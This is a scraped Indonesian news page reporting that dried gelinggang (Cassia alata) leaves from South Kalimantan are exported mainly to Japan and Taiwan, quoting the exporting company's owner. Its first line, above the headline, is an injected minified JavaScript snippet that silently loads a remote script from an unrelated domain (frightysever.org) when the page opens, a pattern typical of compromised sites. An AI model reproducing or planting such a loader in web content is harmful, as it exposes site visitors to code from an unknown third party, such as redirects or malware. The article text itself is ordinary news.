(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Daun Gelinggang Komoditas Ekspor Kalsel ke Jepang dan Taiwan


KANALKALIMANTAN.COM, BANJARBARU – Daun gelinggang (Cassia Alata) yang banyak tumbuh liar di wilayah Kalimantan Selatan (Kalsel) menjadi salah satu komoditas ekspor ke luar negeri.

Berawal pada tahun 2006, PT Sarikaya Sega Utama yang awalnya mengolah kerajinan dari rotan mencoba melebarkan sayap dengan memanfaatkan daun gelinggang kering -biasa juga disebut daun ketepeng-.

“Kami melihat ada peluang ekspor daun gelinggang dan kebetulan kami sudah punya mesin pemanas kayu,” kata pemilik usaha PT Sarikaya Sega Utama, Santoso S, Rabu (18/8/2021).

Ia mengaku memasarkan daun gelinggang kering hingga pasar ekspor, yakni Jepang dan Taiwan. Santoso mengatakan, Indonesia menguasai 60 persen pangsa pasar daun gelinggang di Jepang.

 

 

Baca juga: 901 Napi Lapas Banjarbaru Terima Remisi Kemerdekaan, 14 Napi Langsung Bebas

“Pemasaran daun galinggang 95 persen ke Jepang dan 5 persen ke Taiwan. Ini merupakan suplai dari petani di daerah Kalimanatan Selatan dan Tengah. Setiap tahunnya, kami dapat mengekspor daun gelinggang kering 200 hingga 250 ton,” kata Santoso, dikutip dari Media Center Kalsel.

Terlebih saat ini, Santoso mengatakan permintaan daun gelinggang kering cukup tinggi di pasaran, seiring dengan maraknya konsumsi produk herbal.
“Selama pandemi terus meningkat karena banyak dari masyarakat mengkonsumsi produk kesehatan herbal,” ujar Santoso.

Pemilik PT Sarikaya Sega Utama ini mengakui pemerintah melalui Dinas Perdagangan Kalsel memiliki peran untuk mempromosikan usaha yang digeluti, sehingga mampu merambah pasar ekspor.

“Dinas Perdagangan Kalsel telah ikut mempromosikan produk gelinggang kering, baik melalui pameran dagang maupun melalui konsulat di luar negeri. Bahkan kompetitor di pasar utama Jepang, gelinggang disuplai oleh Indonesia, India, Malaysia dan Thailand,” kata Santoso. (kanalkalimantan.com/mckalsel/al)

 

Reporter: mckalsel/al
Editor : kk


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.